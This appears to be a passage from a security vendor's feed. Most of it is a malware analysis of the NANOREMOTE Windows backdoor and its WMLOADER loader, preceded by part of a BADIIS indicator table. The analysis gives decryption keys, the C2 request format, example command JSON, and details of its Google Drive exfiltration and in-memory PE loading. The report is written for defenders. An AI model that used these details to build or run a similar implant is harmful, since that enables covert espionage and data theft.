<td align="left"><code>gotz003[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS config server (primary)</td>
</tr>
<tr>
<td align="left"><code>jbtz003[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS config server (legacy)</td>
</tr>
<tr>
<td align="left"><code>gotz001[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS SEO content and backlinks server (primary)</td>
</tr>
<tr>
<td align="left"><code>jbtz001[.]com</code></td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">BADIIS SEO content and backlinks server (primary)</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud/">https://blog.talosintelligence.com/uat-8099-chinese-speaking-cybercrime-group-seo-fraud</a></li>
<li><a href="https://blog.talosintelligence.com/uat-8099-new-persistence-mechanisms-and-regional-focus/">https://blog.talosintelligence.com/uat-8099-new-persistence-mechanisms-and-regional-focus/</a></li>
<li><a href="https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html">https://www.trendmicro.com/en_us/research/25/b/chinese-speaking-group-manipulates-seo-with-badiis.html</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/badiis-to-the-bone-new-insights-to-global-seo-poisoning-campaign/photo-edited-05.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[NANOREMOTE, cousin of FINALDRAFT]]></title>
            <link>https://www.elastic.co/pt/security-labs/nanoremote</link>
            <guid>nanoremote</guid>
            <pubDate>Thu, 11 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[The fully-featured backdoor we call NANOREMOTE shares characteristics with malware described in REF7707 and is similar to the FINALDRAFT implant.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In October 2025, Elastic Security Labs discovered a newly-observed Windows backdoor in telemetry. The fully-featured backdoor we call NANOREMOTE shares characteristics with malware described in <a href="https://www.elastic.co/pt/security-labs/fragile-web-ref7707">REF7707</a> and is similar to the <a href="https://www.elastic.co/pt/security-labs/finaldraft">FINALDRAFT</a> implant.</p>
<p>One of the malware’s primary features is centered around shipping data back and forth from the victim endpoint using the <a href="https://developers.google.com/workspace/drive/api/guides/about-sdk">Google Drive API</a>. This feature ends up providing a channel for data theft and payload staging that is difficult for detection. The malware includes a task management system used for file transfer capabilities that include queuing download/upload tasks, pausing/resuming file transfers, canceling file transfers, and generating refresh tokens.</p>
<p>This report aims to enhance awareness among defenders and organizations regarding the threat actors we are monitoring and their evolving capabilities.</p>
<h3>Key takeaways</h3>
<ul>
<li>Elastic Security Labs discovers a new Windows backdoor</li>
<li>NANOREMOTE likely developed by espionage threat actor linked to FINALDRAFT and REF7707</li>
<li>NANOREMOTE includes command execution, discovery/enumeration and file transfer capabilities using Google Drive API</li>
<li>The backdoor integrates functionality from open-source projects including Microsoft Detours and libPeConv</li>
<li>Elastic Defend prevents the NANOREMOTE attack chain through behavioral rules, machine learning classifier, and memory protection features</li>
</ul>
<h2>NANOREMOTE analysis</h2>
<h3>WMLOADER</h3>
<p>The observed attack chain consists of two primary components, a loader (WMLOADER) and payload (NANOREMOTE). Although this report focuses on NANOREMOTE, we will describe the loader to provide context on the overall infection flow.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image25.png" alt="NANOREMOTE infection chain" /></p>
<p><a href="https://www.virustotal.com/gui/file/fff31726d253458f2c29233d37ee4caf43c5252f58df76c0dced71c4014d6902/details">WMLOADER</a> masquerades as a Bitdefender Security program (<code>BDReinit.exe</code>) with an invalid digital signature.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image5.png" alt="WMLOADER File information" /></p>
<p>After execution, the program makes a large number of calls to Windows functions (<code>VirtualAlloc</code> / <code>VirtualProtect</code>), preparing the process to host embedded shellcode stored within the file. The shellcode is located at RVA (<code>0x193041</code>) and decrypted using a rolling XOR algorithm.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image21.png" alt="Shellcode unpacking" /></p>
<p>This shellcode looks for a file named <code>wmsetup.log</code> in the same folder path as WMLOADER then starts decrypting it using AES-CBC with a 16-byte ASCII key (<code>3A5AD78097D944AC</code>). After decryption, the shellcode executes the in-memory backdoor, NANOREMOTE.</p>
<p>Based on the previous shellcode decryption routine, we can identify other related samples targeting Bitdefender and Trend Micro products when searching in VirusTotal.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image43.png" alt="WMLOADER samples identified by shellcode decryption routine" /></p>
<h3>NANOREMOTE</h3>
<p>NANOREMOTE is a fully-featured backdoor that can be used to perform reconnaissance, execute files and commands, and transfer files to and from victim environments. The implant is a 64-bit Windows executable written in C++ without obfuscation.</p>
<h4>NANOREMOTE Configuration</h4>
<p>The NANOREMOTE sample we observed was preconfigured to communicate with a hard-coded non-routable IP address. We believe the program was generated from a builder as we do not see any cross-references pointing to a configuration setting.</p>
<p>For the Google Drive API authentication, NANOREMOTE uses a pipe-separated configuration that can use multiple clients. The <code>|*|</code> separator splits the fields used by a single client and the <code>|-|</code> is used as a marker to separate the clients. There are three fields per client structure:</p>
<ul>
<li>Client ID</li>
<li>Client Secret</li>
<li>Refresh Token</li>
</ul>
<p>Below is an example of the format:</p>
<p><code>Client_ID_1|*|Client_Secret_1|*|Refresh_Token_1|-|Client_ID_2|*|Client_Secret_2|*|Refresh_Token_2</code></p>
<p>The developer has a fallback mechanism to accept this configuration through an environment variable named <code>NR_GOOGLE_ACCOUNTS</code>.</p>
<h4>Interface/Logging</h4>
<p>NANOREMOTE provides a detailed console displaying the application's real-time activity, including timestamps, source code locations, and descriptions of its behaviors.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image17.png" alt="Console output" /></p>
<p>A new Windows directory is created in the same location where NANOREMOTE was executed, the folder is called <code>Log</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image16.png" alt="Log folder storing log file" /></p>
<p>A newly created log file (<code>pe_exe_run.log</code>) is dropped in this folder containing the same output printed from the console.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image37.png" alt="Log file contents" /></p>
<h4>Setup</h4>
<p>There is an initial setup routine by NANOREMOTE before the main worker loop starts. The malware generates a unique GUID via <code>CoCreateGuid</code> then hashes the GUID using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler-Noll-Vo (FNV</a>) function. This GUID is used by the operator to identify individual machines during each request.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image29.png" alt="GUID generation and FNV hashing" /></p>
<p>The malware developer has a process-wide crash handler to create a Windows minidump of the running process when an unhandled exception occurs, this is most likely being used to triage program crashes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image2.png" alt="TopLevelExceptionFilter function" /></p>
<p>The exception will produce the dump before terminating the process. This is a pretty standard practice although the <code>MiniDumpWithFullMemory</code> might be considered less common in legitimate software as it could end up producing larger sized dumps and contain sensitive data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image9.png" alt="Minidump generation" /></p>
<p>A quick Google search using the same string formatter for the dump file (<code>%d%02d%02d%02d%02d%02d_sv.dmp</code>) listed only 1 result from a Chinese-based software development <a href="https://blog.csdn.net/n_fly/article/details/80426268">website</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image42.png" alt="Google search results for string formatter from minidump function" /></p>
<h4>Network Communication</h4>
<p>As mentioned previously, NANOREMOTE’s C2 communicates with a hard-coded IP address. These requests occur over HTTP where the JSON data is submitted through POST requests that are Zlib compressed and encrypted with AES-CBC using a 16-byte key (<code>558bec83ec40535657833d7440001c00</code>). The URI for all requests use <code>/api/client</code> with User-Agent (<code>NanoRemote/1.0</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image45.png" alt="Packet capture showing NANOREMOTE C2 communication" /></p>
<p>Below is the CyberChef recipe used for the C2 encryption/compression:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image30.png" alt="CyberChef recipe for network communications" /></p>
<p>Each request prior to encryption, follows a schema consisting of:</p>
<ul>
<li><strong>Command ID</strong>: Associated command handler ID</li>
<li><strong>Data</strong>: Command-specific object containing key/value pairs required by the corresponding handler</li>
<li><strong>ID</strong>: Unique machine identifier assigned to the infected host</li>
</ul>
<p>Below is an example of a request that triggers execution of whoami via the command key inside the data object:</p>
<pre><code>{
    &quot;cmd&quot;: 21,
    &quot;data&quot;: {
        &quot;command&quot;: &quot;whoami&quot;
    },
    &quot;id&quot;: 15100174208042555000
}
</code></pre>
<p>Each response follows a similar format using the previous fields along with two additional fields.</p>
<ul>
<li><strong>Output</strong>: Contains any output from the previously requested command handler</li>
<li><strong>Success</strong>: Boolean flag used to determine if command was successful or not</li>
</ul>
<p>Below is an example of the response from the previous whoami command:</p>
<pre><code>{
    &quot;cmd&quot;: 21,
    &quot;data&quot;: 0,
    &quot;id&quot;: 17235741656643013000,
    &quot;output&quot;: &quot;desktop-2c3iqho\\rem\r\n&quot;,
    &quot;success&quot;: true
}
</code></pre>
<h4>Command Handlers</h4>
<p>NANOREMOTE’s main functionality is driven through its 22 command handlers. Below is a control-flow graph (CFG) diagram showcasing the switch statement used to dispatch the different handlers.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image19.png" alt="Control flow graph showing command handlers" /></p>
<p>Below is the command handler table:</p>
<table>
<thead>
<tr>
<th align="left">Command ID</th>
<th align="left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">#1</td>
<td align="left">Collect host-based information</td>
</tr>
<tr>
<td align="left">#2</td>
<td align="left">Modify beacon timeout</td>
</tr>
<tr>
<td align="left">#3</td>
<td align="left">Self-termination</td>
</tr>
<tr>
<td align="left">#4</td>
<td align="left">List folder contents by path</td>
</tr>
<tr>
<td align="left">#5</td>
<td align="left">List folder contents by path and set working directory</td>
</tr>
<tr>
<td align="left">#6</td>
<td align="left">Get storage disk details</td>
</tr>
<tr>
<td align="left">#7</td>
<td align="left">Create new directory</td>
</tr>
<tr>
<td align="left">#8 #9</td>
<td align="left">Delete directory/files</td>
</tr>
<tr>
<td align="left">#10 #11</td>
<td align="left">Teardown (Clear cache, cleanup)</td>
</tr>
<tr>
<td align="left">#12</td>
<td align="left">PE loader - Execute PE from disk</td>
</tr>
<tr>
<td align="left">#13</td>
<td align="left">Set working directory</td>
</tr>
<tr>
<td align="left">#14</td>
<td align="left">Get working directory</td>
</tr>
<tr>
<td align="left">#15</td>
<td align="left">Move file</td>
</tr>
<tr>
<td align="left">#16</td>
<td align="left">Queue download task via Google Drive</td>
</tr>
<tr>
<td align="left">#17</td>
<td align="left">Queue upload task via Google Drive</td>
</tr>
<tr>
<td align="left">#18</td>
<td align="left">Pause download/upload transfer</td>
</tr>
<tr>
<td align="left">#19</td>
<td align="left">Resume download/upload transfer</td>
</tr>
<tr>
<td align="left">#20</td>
<td align="left">Cancel file transfer</td>
</tr>
<tr>
<td align="left">#21</td>
<td align="left">Command execution</td>
</tr>
<tr>
<td align="left">#22</td>
<td align="left">PE loader - Execute PE from memory</td>
</tr>
</tbody>
</table>
<h5>Handler #1 - Collect host-based information</h5>
<p>This handler enumerates system and user details to profile the victim environment:</p>
<ul>
<li>Uses <code>WSAIoctl</code> with <code>SIO_GET_INTERFACE_LIST</code> to retrieve internal and external IP address</li>
<li>Grabs username via <code>GetUserNameW</code></li>
<li>Retrieves the hostname via <code>GetComputerNameW</code></li>
<li>Checks if current user is member of Administrator group via <code>IsUserAnAdmin</code></li>
<li>Retrieves the process path used by the malware using <code>GetModuleFileNameW</code></li>
<li>Retrieves operating‑system information (product build) from the registry using the <code>WinREVersion</code> and <code>ProductName</code> value names</li>
<li>Gets process ID of running program via <code>GetCurrentProcessID</code></li>
</ul>
<p>Below is an example of the data sent to the C2 server:</p>
<pre><code>{
    &quot;cmd&quot;: 1,
    &quot;data&quot;: {
        &quot;Arch&quot;: &quot;x64&quot;,
        &quot;ExternalIp&quot;: &quot;&quot;,
        &quot;HostName&quot;: &quot;DESKTOP-2C3IQHO&quot;,
        &quot;ID&quot;: 8580477787937977000,
        &quot;InternalIp&quot;: &quot;192.168.1.1&quot;,
        &quot;OsName&quot;: &quot;Windows 10 Enterprise &quot;,
        &quot;ProcessID&quot;: 304,
        &quot;ProcessName&quot;: &quot;pe.exe&quot;,
        &quot;SleepTimeSeconds&quot;: 0,
        &quot;UID&quot;: 0,
        &quot;UserName&quot;: &quot;REM *&quot;
    },
    &quot;id&quot;: 8580477787937977000
}
</code></pre>
<h5>Handler #2 - Modify beacon timeout</h5>
<p>This handler modifies the beacon timeout interval for NANOREMOTE’s C2 communication, the malware will sleep based on the number of seconds provided by the operator.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image26.png" alt="Beacon timeout adjusted" /></p>
<p>Below is an example of this request where NANOREMOTE uses the key (<code>interval</code>) with a value (<code>5</code>) to modify the beacon timeout to 5 seconds.</p>
<pre><code>{
    &quot;cmd&quot;: 2,
    &quot;data&quot;: {
        &quot;interval&quot;: 5
    },
    &quot;id&quot;: 15100174208042555000
}
</code></pre>
<h5>Handler #3 - Self-termination</h5>
<p>This handler is responsible for setting a global variable to 0 effectively signaling the teardown and process exit for NANOREMOTE.</p>
<h5>Handler #4 - List folder contents by path</h5>
<p>This handler lists the folder contents using a provided file path from the operator. The listing for each item includes:</p>
<ul>
<li>Whether the item is a directory or not</li>
<li>Whether the item is marked as hidden</li>
<li>Last modified date</li>
<li>File name</li>
<li>Size</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image28.png" alt="Folder directory enumeration" /></p>
<h5>Handler #5 - List folder contents and set working directory</h5>
<p>This handler uses the same code as the previous handler (#4), the only difference is that it sets the current working directory of the process to the provided path as well.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image40.png" alt="Sets current working directory" /></p>
<h5>Handler #6 - Get Storage Disk Info</h5>
<p>This handler uses the following Windows API functions to collect storage disk information from the machine:</p>
<ul>
<li>GetLogicalDrives</li>
<li>GetDiskFreeSpaceExW</li>
<li>GetDriveTypeW</li>
<li>GetVolumeInformationW</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image23.png" alt="Storage disk info printed from console" /></p>
<p>Below is an example of the request in JSON showing the data returned:</p>
<pre><code>{
    &quot;cmd&quot;: 6,
    &quot;data&quot;: {
        &quot;items&quot;: [
            {
                &quot;free&quot;: 26342813696,
                &quot;name&quot;: &quot;C:&quot;,
                &quot;total&quot;: 85405782016,
                &quot;type&quot;: &quot;Fixed&quot;
            }
        ]
    },
    &quot;id&quot;: 16873875158734957000,
    &quot;output&quot;: &quot;&quot;,
    &quot;success&quot;: true
}
</code></pre>
<h5>Handler #7 - Create new folder directory</h5>
<p>This command handler creates a new directory based on a provided path.</p>
<h5>Handler #8, #9 - Delete file, directory</h5>
<p>This handler supports both #8 and #9 command ID’s, the branching is dynamically chosen based on the provided file path. It has the ability to delete files or a specified folder.</p>
<h5>Handler #10, #11 - Teardown/Cleanup</h5>
<p>These two handlers call the same teardown function using different arguments to recursively release heap allocations, internal C++ objects, and cached data associated with the malware’s runtime. This purpose is to clean up the command structures and prevent memory leaks or instability.</p>
<h5>Handler #12 - Custom PE Loader - Execute PE from disk</h5>
<p>This handler includes a custom PE loading capability for files that exist on disk. This functionality leverages standard Windows APIs along with helper code from library <a href="https://github.com/hasherezade/libpeconv">libPeConv</a> to load PE files from disk without using the traditional Windows loader.</p>
<p>In short, it will read a PE file from disk, copy the file into memory, manually map the sections/headers, preparing the file before finally executing it in memory. This implementation is a deliberate technique for stealth and evasion bypassing user-mode hooking and traditional visibility. As one example, when a file is executed through this technique, there is no trace of this executable being launched using procmon.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image20.png" alt="NANOREMOTE loading PE file from disk into memory" /></p>
<p>Below is the following input for this handler where the local file path is provided under the key (args):</p>
<pre><code>{
    &quot;cmd&quot;: 12,
    &quot;data&quot;: {
        &quot;args&quot;: &quot;C:\\tmp\\mare_test.exe&quot;
    },
    &quot;id&quot;: 15100174208042555000
}
</code></pre>
<p>The following screenshot shows successful execution of our test executable using this technique:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image3.png" alt="LoadAndExecutePE command handler used on test" /></p>
<p>During this analysis, one interesting note is the adoption of the libPeConv <a href="https://github.com/hasherezade/libpeconv">library</a>, this is a great and useful project that we ourselves use internally for various malware-related tasks. The developer of NANOREMOTE uses several functions from this library to simplify common tasks related to manually loading and executing PE files in memory. Below are the functions used by the library found in NANOREMOTE:</p>
<ul>
<li>
<p>default_func_resolver: Resolves functions in a PE file by dynamically loading DLLs and retrieving the addresses of exported functions.</p>
</li>
<li>
<p>hooking_func_resolver: Retrieve the virtual address of a function by name from a loaded DLL.</p>
</li>
<li>
<p>FillImportThunks: Populates the import table by resolving each imported function to its actual address in memory.</p>
</li>
<li>
<p>ApplyRelocCallback: Applies base relocations when a PE file is loaded at an address different from its preferred base.</p>
</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image32.png" alt="Run-Time Type Information within NANOREMOTE showing LibPeConv" /></p>
<p>Another notable observation in this handler is the use of the open-source hooking library, <a href="https://github.com/microsoft/Detours">Microsoft Detours</a>. This library is used to intercept the following Windows functions:</p>
<ul>
<li>GetStdHandle</li>
<li>RtlExitUserThread</li>
<li>RtlExitUserProcess</li>
<li>FatalExit</li>
<li>ExitProcess</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image27.png" alt="Setting up hooking via Microsoft Detours" /></p>
<p>This runtime hooking routine intercepts termination‑related functions to enforce controlled behavior and improve resiliency. For example, NANOREMOTE prevents a failure in a single worker thread from terminating the entire NANOREMOTE process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image8.png" alt="Hooked FatalExit function" /></p>
<h5>Handler #13 - Set working directory</h5>
<p>This handler sets the working directory to a specific directory using the key (path). Below is an example request:</p>
<pre><code>{
    &quot;cmd&quot;: 13,
    &quot;data&quot;: {
        &quot;path&quot;: &quot;C:\\tmp\\Log&quot;
    },
    &quot;id&quot;: 15100174208042555000
}
</code></pre>
<h5>Handler #14 - Get working directory</h5>
<p>This handler retrieves the current working directory, below is an example response after setting the directory with previous handler (#13).</p>
<pre><code>{
    &quot;cmd&quot;: 14,
    &quot;data&quot;: 0,
    &quot;id&quot;: 11010639976590963000,
    &quot;output&quot;: &quot;[+] pwd output:\r\nC:\\tmp\\Log\r\n&quot;,
    &quot;success&quot;: true
}
</code></pre>
<h5>Handler #15 - Move File</h5>
<p>This handler allows the operator to move files around the victim machine using MoveFileExW with two arguments (old_path, new_path) moving the file to a different folder by performing a copy and delete file operation.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image18.png" alt="Moving files via MoveFileExW" /></p>
<h5>Handler #16 - Queue Download Task</h5>
<p>This handler creates a download task object with a provided task_id then enqueues the task into the download queue. This implementation uses OAuth 2.0 tokens to authenticate requests to the Google Drive API. This functionality is used by the threat actor to download files to the victim machine. The encrypted communication to Google’s servers makes this traffic appear legitimate, leaving organizations unable to inspect or differentiate it from normal use.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image35.png" alt="Task added to queue" /></p>
<p>Inside the main worker thread, there is a global variable used to track queue objects and process the awaiting tasks by the malware.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image31.png" alt="Processing download tasks from the queue" /></p>
<p>A task is processed using various fields provided by the C2 server:</p>
<ul>
<li>type</li>
<li>task_id</li>
<li>file_id</li>
<li>target_path</li>
<li>file_size</li>
<li>md5</li>
</ul>
<p>When a download task is processed, NANOREMOTE will retrieve the size of the file hosted on Google Drive using the file ID (1BwdUSIyA3WTUrpAEEDhG0U48U9hYPcy7). Next, the malware will download the file via WinHttpSendRequest then use WinHttpWriteData to write the file on the machine.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image7.png" alt="Fiddler session showing download from Google Drive" /></p>
<p>Below is the console output showing this download process:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image14.png" alt="Downloading file from Google Drive using tasking system" /></p>
<p>This malware feature poses a unique challenge for organizations as threat groups continue to abuse trusted cloud platforms for data exfiltration and payload hosting. This traffic without any context can easily blend in with legitimate traffic making detection difficult for defenders who rely on network visibility.</p>
<h5>Handler #17 - Queue Upload Task</h5>
<p>This handler works in similar fashion as the previous handler (#16), instead it is creating an upload queue task and enqueuing the task into the upload queue. This handler is used by the threat actor to upload files from the victim machine to the adversary’s controlled Google Drive account.</p>
<p>The following fields are provided by the operator through the C2 server:</p>
<ul>
<li><code>type</code></li>
<li><code>task_id</code></li>
<li><code>upload_name</code></li>
<li><code>source_path</code></li>
<li><code>file_size</code></li>
<li><code>md5</code></li>
</ul>
<p>Below is the network traffic generated by the malware when uploading a test file via the Google Drive API (<code>/upload/drive/v3/files</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image33.png" alt="Fiddler session showing upload to Google Drive" /></p>
<p>The below figure shows the console during this upload process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image15.png" alt="Console output showing file upload success" /></p>
<p>Below is a screenshot of the previous demonstration using the file upload feature with our own Google Drive test account.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image38.png" alt="Uploaded file in Google Drive" /></p>
<p>Below is the response from this handler:</p>
<pre><code>{
    &quot;cmd&quot;: 17,
    &quot;data&quot;: {
        &quot;file_id&quot;: &quot;1qmP4TcGfE2xbjYSlV-AVCRA96f6Kp-V7&quot;,
        &quot;file_name&quot;: &quot;meow.txt&quot;,
        &quot;file_size&quot;: 16,
        &quot;md5&quot;: &quot;1e28c01387e0f0229a3fb3df931eaf80&quot;,
        &quot;progress&quot;: 100,
        &quot;status&quot;: &quot;uploaded&quot;,
        &quot;task_id&quot;: &quot;124&quot;
    },
    &quot;id&quot;: 4079875446683087000,
    &quot;output&quot;: &quot;&quot;,
    &quot;success&quot;: true
}
</code></pre>
<h5>Handler #18 - Pause download/upload transfer</h5>
<p>This handler allows the operator to pause any download and upload tasks managed by NANOREMOTE by passing the task_id.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image4.png" alt="Upload transfer paused" /></p>
<h5>Handler #19 - Resume download/upload transfer</h5>
<p>This handler allows the operator to resume any paused download or upload tasks managed by NANOREMOTE using the task_id.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image24.png" alt="Upload transfer resumed" /></p>
<h5>Handler #20 - Cancel file transfer</h5>
<p>This handler allows the operator to cancel any download/upload tasks managed by NANOREMOTE through the task_id.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image13.png" alt="Cancelled transfer" /></p>
<h5>Handler #21 - Command Execution</h5>
<p>This is the main handler used by the adversary for command execution on the victim machine. It works by spawning new processes and returning the output through Windows pipes. This is a core feature found in most backdoors used by adversaries for direct access to enumerate the environment, perform lateral movement, and execute additional payloads.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image36.png" alt="Command execution" /></p>
<p>The figure below shows NANOREMOTE’s process tree when this handler is invoked. The malware spawns cmd.exe, which in turn launches the specified command—in this case, whoami.exe.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image41.png" alt="Command execution process tree" /></p>
<h5>Handler #22 - Execute encoded PE from memory</h5>
<p>This handler loads and executes a Base64 encoded PE file inside the existing NANOREMOTE process. The encoded PE file is provided by the C2 server using the pe_data field. If the program requires command-line arguments, the key (arguments) is used.</p>
<p>Below is an example showing the console output using test program:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image1.png" alt="Load and execute encoded PE from memory" /></p>
<h2>Similarity to FinalDraft</h2>
<p>There is overlap between FINALDRAFT and NANOREMOTE from both code similarity and behavioral perspectives.</p>
<p>Many functions exhibit clear code re-use across the two implants. For example, both follow the same sequence of generating a GUID via CoCreateGuid, hashing it with the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler-Noll-Vo (FNV)</a> function and performing identical heap-validation checks before freeing the buffer.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image12.png" alt="GUID/FNV - Code comparison between NANOREMOTE and FINALDRAFT" /></p>
<p>A good portion of the HTTP-related code used to send and receive requests suggests similarity as well. Below is an example of a control flow-graph showing the setup/configuration of an HTTP request used by both malware families.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image22.png" alt="HTTP Request Setup - CFG comparison between NANOREMOTE and FINALDRAFT" /></p>
<p>During our analysis, we observed that the WMLOADER decrypts the corresponding payload from a hard-coded file named wmsetup.log – the same file name that was used by PATHLOADER to deploy FINALDRAFT that we <a href="https://www.elastic.co/pt/security-labs/fragile-web-ref7707">published</a> earlier in the year.</p>
<p>Another interesting finding is that we discovered a <a href="https://www.virustotal.com/gui/file/a0b0659e924d7ab27dd94f111182482d5c827562d71f8cafc2c44da2e549fe61/telemetry">sample</a> (wmsetup.log) from VirusTotal that was recently uploaded from the Philippines on 2025-10-03.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image11.png" alt="VirusTotal file submission for wmsetup.log in October 2025" /></p>
<p>We downloaded the file, placed it alongside WMLOADER, then executed the loader. It successfully decrypted the <code>wmsetup.log</code> file, revealing a FINALDRAFT implant.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image44.png" alt="YARA showing FINALDRAFT from wmsetup.log" /></p>
<p>Below is a side-by-side graphic showing the same AES key is used to successfully decrypt both FINALDRAFT and NANOREMOTE.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image39.png" alt="Same AES used to decrypt both NANOREMOTE and FINALDRAFT" /></p>
<p>Our hypothesis is that WMLOADER uses the same hard-coded key due to being part of the same build/development process that allows it to work with various payloads. It’s not clear why the threat group behind these implants are not rotating the key, it’s possibly due to convenience or testing. This appears to be another strong signal suggesting a shared codebase and development environment between FINALDRAFT and NANOREMOTE.</p>
<h2>NANOREMOTE through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1087/">Account Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1680/">Local Storage Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1567/002/">Exfiltration Over Web Service: Exfiltration to Cloud Storage</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/001/">Masquerading: Invalid Code Signature</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
</ul>
<h2>Mitigating NANOREMOTE</h2>
<p>Within a lab environment executing NANOREMOTE, there were many different alerts triggered using <a href="https://www.elastic.co/pt/security/xdr">Elastic Defend</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image6.png" alt="Alert listing" /></p>
<p>One of the main behaviors to validate for defenders is the abuse of using legitimate services such as Google Drive API. Below is an example alert triggered with the Connection to Commonly Abused Webservices rule when interacting with the Google API for both the download and upload of files using NANOREMOTE.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image34.png" alt="Connection to Commonly Abused Webservices" /></p>
<p>The PE loading technique using the Base64 encoded file from the C2 server was also detected via <code>Memory Threat Detection Alert: Shellcode Injection</code> alert.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image10.png" alt="" /></p>
<h3>Detection/Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_with_hardware_breakpoints.toml">Potential Evasion with Hardware Breakpoints</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_via_invalid_code_signature.toml">Potential Evasion via Invalid Code Signature</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_unbacked_shellcode_from_unsigned_module.toml">Unbacked Shellcode from Unsigned Module</a></li>
